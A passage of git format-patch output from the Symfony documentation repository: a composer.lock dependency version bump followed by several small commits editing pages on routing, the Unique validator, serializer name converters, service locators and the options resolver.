                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354",
-                "reference": "511a08c03c1960e08a883f4cffcacd219b758354",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe",
+                "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1257,7 +1205,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1273,36 +1221,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6"
+                "reference": "3833d7255cc303546435cb650316bff708a1c75c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6",
-                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/3833d7255cc303546435cb650316bff708a1c75c",
+                "reference": "3833d7255cc303546435cb650316bff708a1c75c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1341,7 +1286,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1357,24 +1302,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534"
+                "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
-                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/85181ba99b2345b0ef10ce42ecac37612d9fd341",
+                "reference": "85181ba99b2345b0ef10ce42ecac37612d9fd341",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "provide": {
                 "ext-mbstring": "*"
@@ -1384,12 +1329,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1424,7 +1366,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1440,20 +1382,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
+                "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
-                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
+                "url": "https://api.github.com/repos/symfony/process/zipball/7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3",
+                "reference": "7a1c12e87b08ec9c97abdd188c9b3f5a40e37fc3",
                 "shasum": ""
             },
             "require": {
@@ -1485,7 +1427,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.8"
+                "source": "https://github.com/symfony/process/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -1501,40 +1443,38 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-09T16:20:02+00:00"
+            "time": "2025-02-04T13:35:48+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
+                "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
-                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/e53260aabf78fb3d63f8d79d69ece59f80d5eda0",
+                "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
-                "psr/container": "^2.0"
+                "psr/container": "^1.1|^2.0",
+                "symfony/deprecation-contracts": "^2.5|^3"
             },
             "conflict": {
                 "ext-psr": "<1.1|>=2"
             },
-            "suggest": {
-                "symfony/service-implementation": ""
-            },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1570,7 +1510,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1586,20 +1526,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:32:47+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.8",
+            "version": "v6.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
+                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
-                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "url": "https://api.github.com/repos/symfony/string/zipball/73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
+                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
                 "shasum": ""
             },
             "require": {
@@ -1610,14 +1550,14 @@
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "conflict": {
-                "symfony/translation-contracts": "<2.0"
+                "symfony/translation-contracts": "<2.5"
             },
             "require-dev": {
-                "symfony/error-handler": "^5.4|^6.0",
-                "symfony/http-client": "^5.4|^6.0",
-                "symfony/intl": "^6.2",
-                "symfony/translation-contracts": "^2.0|^3.0",
-                "symfony/var-exporter": "^5.4|^6.0"
+                "symfony/error-handler": "^5.4|^6.0|^7.0",
+                "symfony/http-client": "^5.4|^6.0|^7.0",
+                "symfony/intl": "^6.2|^7.0",
+                "symfony/translation-contracts": "^2.5|^3.0",
+                "symfony/var-exporter": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1656,7 +1596,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.8"
+                "source": "https://github.com/symfony/string/tree/v6.4.15"
             },
             "funding": [
                 {
@@ -1672,42 +1612,42 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-20T16:06:02+00:00"
+            "time": "2024-11-13T13:31:12+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.5.2",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe"
+                "reference": "4667ff3bd513750603a09c8dedbea942487fb07c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
-                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/4667ff3bd513750603a09c8dedbea942487fb07c",
+                "reference": "4667ff3bd513750603a09c8dedbea942487fb07c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
-            },
-            "suggest": {
-                "symfony/translation-implementation": ""
+                "php": ">=8.1"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "2.5-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\Translation\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1734,7 +1674,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.2"
+                "source": "https://github.com/symfony/translation-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1750,38 +1690,41 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-06-27T16:58:25+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.1",
+            "version": "v3.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
+                "reference": "3468920399451a384bef53cf7996965f7cd40183"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
-                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3468920399451a384bef53cf7996965f7cd40183",
+                "reference": "3468920399451a384bef53cf7996965f7cd40183",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1.0",
+                "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/polyfill-ctype": "^1.8",
                 "symfony/polyfill-mbstring": "^1.3"
             },
             "require-dev": {
-                "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
+                "phpstan/phpstan": "^2.0",
+                "psr/container": "^1.0|^2.0",
+                "symfony/phpunit-bridge": "^5.4.9|^6.4|^7.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "3.5-dev"
-                }
-            },
             "autoload": {
+                "files": [
+                    "src/Resources/core.php",
+                    "src/Resources/debug.php",
+                    "src/Resources/escaper.php",
+                    "src/Resources/string_loader.php"
+                ],
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -1814,7 +1757,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
+                "source": "https://github.com/twigphp/Twig/tree/v3.20.0"
             },
             "funding": [
                 {
@@ -1826,21 +1769,21 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-08T07:49:20+00:00"
+            "time": "2025-02-13T08:34:43+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": [],
+    "stability-flags": {},
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
         "php": ">=8.1"
     },
-    "platform-dev": [],
+    "platform-dev": {},
     "platform-overrides": {
         "php": "8.1.0"
     },
-    "plugin-api-version": "2.3.0"
+    "plugin-api-version": "2.6.0"
 }

From c679fe5d157635c1f02bedcfc2353199d1f12977 Mon Sep 17 00:00:00 2001
From: EtienneHosman <43244960+EtienneHosman@users.noreply.github.com>
Date: Tue, 18 Mar 2025 13:51:03 +0100
Subject: [PATCH 6799/7107] Update virtual-machine.rst

Syntax error: made 'all' a string
---
 frontend/encore/virtual-machine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index d18026d3633..34587173b93 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -107,7 +107,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.allowedHosts = all;
+            options.allowedHosts = 'all';
         })
 
 .. warning::

From b8af29ce4c629060b2f167a45afe77acac4bdf32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 16:04:59 +0100
Subject: [PATCH 6800/7107] Reword

---
 routing.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/routing.rst b/routing.rst
index c5cf5cd7f33..68d6a30fc41 100644
--- a/routing.rst
+++ b/routing.rst
@@ -434,6 +434,21 @@ evaluates them:
     blog_show         ANY      ANY      ANY    /blog/{slug}
     ----------------  -------  -------  -----  --------------------------------------------
 
+    # pass this option to also display all the defined route aliases
+    $ php bin/console debug:router --show-aliases
+
+    # pass this option to only display routes that match the given HTTP method
+    # (you can use the special value ANY to see routes that match any method)
+    $ php bin/console debug:router --method=GET
+    $ php bin/console debug:router --method=ANY
+
+    # pass the option more than once to display the routes that match all the given methods
+    $ php bin/console debug:router --method=GET --method=PATCH
+
+.. versionadded:: 7.3
+
+    The ``--method`` option was introduced in Symfony 7.3.
+
 Pass the name (or part of the name) of some route to this argument to print the
 route details:
 
@@ -451,15 +466,6 @@ route details:
     |             | utf8: true                                              |
     +-------------+---------------------------------------------------------+
 
-.. tip::
-
-    Use the ``--show-aliases`` option to show all available aliases for a given
-    route.
-
-.. tip::
-
-    Use the ``--method`` option to filter routes by HTTP method. For example, to only show routes that use the ``GET`` method, add ``--method=GET``
-
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From 387943cee13b5c0dc01b7b85289cd46a12f2940b Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 23 Feb 2025 18:45:08 +0100
Subject: [PATCH 6801/7107] [Validator] Allow Unique constraint validation on
 all elements

---
 reference/constraints/Unique.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a1be67d6f2f..a37eba30c61 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -216,4 +216,17 @@ trailing whitespace during validation.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+``stopOnFirstError``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+By default, this constraint stops at the first violation. If the option is set to ``false``,
+validation will continue on all elements and return all detected
+:class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+
+.. versionadded:: 7.3
+
+    The ``stopOnFirstError`` option was introduced in Symfony 7.3.
+
 .. _`PHP callable`: https://www.php.net/callable

From 8801059a62bcc91918964f46c28142c947a40d62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 16:17:32 +0100
Subject: [PATCH 6802/7107] Minor tweak

---
 reference/constraints/Unique.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a37eba30c61..9ce84139cd5 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -221,9 +221,9 @@ trailing whitespace during validation.
 
 **type**: ``boolean`` **default**: ``true``
 
-By default, this constraint stops at the first violation. If the option is set to ``false``,
-validation will continue on all elements and return all detected
-:class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+By default, this constraint stops at the first violation. If this option is set
+to ``false``, validation continues on all elements and returns all detected
+:class:`Symfony\\Component\\Validator\\ConstraintViolation` objects.
 
 .. versionadded:: 7.3
 

From 4213bb57c7f139451d8df44c1f6a91d07559ec5f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 18 Mar 2025 22:26:31 +0100
Subject: [PATCH 6803/7107] [Serializer] Add SnakeCaseToCamelCaseNameConverter

---
 serializer.rst | 61 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index cd181787763..bd8506cbbe3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1239,6 +1239,67 @@ setting the ``name_converter`` setting to
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+snake_case to CamelCase
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In Symfony applications is common to use camelCase to name properties. However
+some packages can use snake_case as convention.
+
+Symfony provides a built-in name converter designed to transform between
+CamelCase and snake_cased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.snake_case_to_camel_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.snake_case_to_camel_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.snake_case_to_camel_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.snake_case_to_camel_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\SnakeCaseToCamelCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new SnakeCaseToCamelCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
 .. _serializer-built-in-normalizers:
 
 Serializer Normalizers

From a1647c609f11b860abf7de38aadb261fbbf9122a Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 18 Mar 2025 23:37:06 +0100
Subject: [PATCH 6804/7107] [Serializer] Add missing space + fix import

---
 serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 5c82e6e566a..1c30ad89c6c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1377,7 +1377,7 @@ Built-in Normalizers
 ~~~~~~~~~~~~~~~~~~~~
 
 Besides the normalizers registered by default (see previous section), the
-serializer component also provides some extra normalizers.You can register
+serializer component also provides some extra normalizers. You can register
 these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
 For instance, to use the ``CustomNormalizer`` you have to define a service
 like:
@@ -1421,7 +1421,7 @@ like:
     .. code-block:: php
 
         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
         use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
 

From 020ef3a702bb8b173d164d40d73626dc449d559a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 18 Mar 2025 22:56:19 +0100
Subject: [PATCH 6805/7107] Replace TaggedIterator and TaggedLocator by
 Au*towireIterator and AutowireLocator

---
 .../service_subscribers_locators.rst          | 20 +++++++++----------
 service_container/tags.rst                    |  2 +-
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9c6451931d1..a2aabb48901 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -270,8 +270,8 @@ the following dependency injection attributes in the ``getSubscribedServices()``
 method directly:
 
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
@@ -282,8 +282,8 @@ This is done by having ``getSubscribedServices()`` return an array of
     use Psr\Container\ContainerInterface;
     use Psr\Log\LoggerInterface;
     use Symfony\Component\DependencyInjection\Attribute\Autowire;
-    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
-    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
     use Symfony\Component\DependencyInjection\Attribute\Target;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
 
@@ -299,11 +299,11 @@ This is done by having ``getSubscribedServices()`` return an array of
             // Target
             new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),
 
-            // TaggedIterator
-            new SubscribedService('loggers', 'iterable', attributes: new TaggedIterator('logger.tag')),
+            // AutowireIterator
+            new SubscribedService('loggers', 'iterable', attributes: new AutowireIterator('logger.tag')),
 
-            // TaggedLocator
-            new SubscribedService('handlers', ContainerInterface::class, attributes: new TaggedLocator('handler.tag')),
+            // AutowireLocator
+            new SubscribedService('handlers', ContainerInterface::class, attributes: new AutowireLocator('handler.tag')),
         ];
     }
 
@@ -975,8 +975,8 @@ You can use the ``attributes`` argument of ``SubscribedService`` to add any
 of the following dependency injection attributes:
 
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..39262fa51be 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -750,7 +750,7 @@ directly via PHP attributes:
 
 .. note::
 
-    Some IDEs will show an error when using ``#[TaggedIterator]`` together
+    Some IDEs will show an error when using ``#[AutowireIterator]`` together
     with the `PHP constructor promotion`_:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that those constructor arguments are both parameters and class

From 10565283d5234c46b8ed4510d79d2d75310b2f9c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Mar 2025 08:35:26 +0100
Subject: [PATCH 6806/7107] Tweaks

---
 serializer.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index bd8506cbbe3..54555d7b340 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1242,12 +1242,12 @@ setting the ``name_converter`` setting to
 snake_case to CamelCase
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-In Symfony applications is common to use camelCase to name properties. However
-some packages can use snake_case as convention.
+In Symfony applications, it is common to use camelCase for naming properties.
+However some packages may follow a snake_case convention.
 
 Symfony provides a built-in name converter designed to transform between
-CamelCase and snake_cased styles during serialization and deserialization
-processes. You can use it instead of the metadata aware name converter by
+CamelCase and snake_case styles during serialization and deserialization
+processes. You can use it instead of the metadata-aware name converter by
 setting the ``name_converter`` setting to
 ``serializer.name_converter.snake_case_to_camel_case``:
 
@@ -1300,6 +1300,10 @@ setting the ``name_converter`` setting to
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+.. versionadded:: 7.2
+
+    The snake_case to CamelCase converter was introduced in Symfony 7.2.
+
 .. _serializer-built-in-normalizers:
 
 Serializer Normalizers

From d0a17c54a538f747bf30968ac246d3adb6405b36 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 19 Mar 2025 09:34:50 +0100
Subject: [PATCH 6807/7107] [Serializer] Fix namespace

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 1c30ad89c6c..7f2569eb104 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1421,7 +1421,7 @@ like:
     .. code-block:: php
 
         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
 

From d009744f9140c536a5ae3b4a578f7780fb53771a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Mar 2025 09:58:18 +0100
Subject: [PATCH 6808/7107] Tweaks

---
 components/options_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5063f5b11d9..6f3a6751f28 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -688,13 +688,13 @@ default value::
 
 .. deprecated:: 7.3
 
-    Defining nested option via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
-    was deprecated since Symfony 7.3, use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
-    instead. Allowing to define default values for prototyped options.
+    Defining nested options via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
+    is deprecated since Symfony 7.3. Use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
+    method instead, which also allows defining default values for prototyped options.
 
 .. versionadded:: 7.3
 
-    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions` was introduced in Symfony 7.3.
+    The ``setOptions()`` method was introduced in Symfony 7.3.
 
 Nested options also support required options, validation (type, value) and
 normalization of their values. If the default value of a nested option depends

From c2b17b0f1bbaa0be008cd400757863862c186ae6 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 19 Mar 2025 16:34:54 +0100
Subject: [PATCH 6809/7107] alias ref in autowiring doc

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index c711f86ecf1..ec25f2d7dae 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -408,8 +408,8 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 If you register this as a service, you now have *two* services that implement the
 ``App\Util\TransformerInterface`` type. Autowiring subsystem can not decide
 which one to use. Remember, autowiring isn't magic; it looks for a service
-whose id matches the type-hint. So you need to choose one by creating an alias
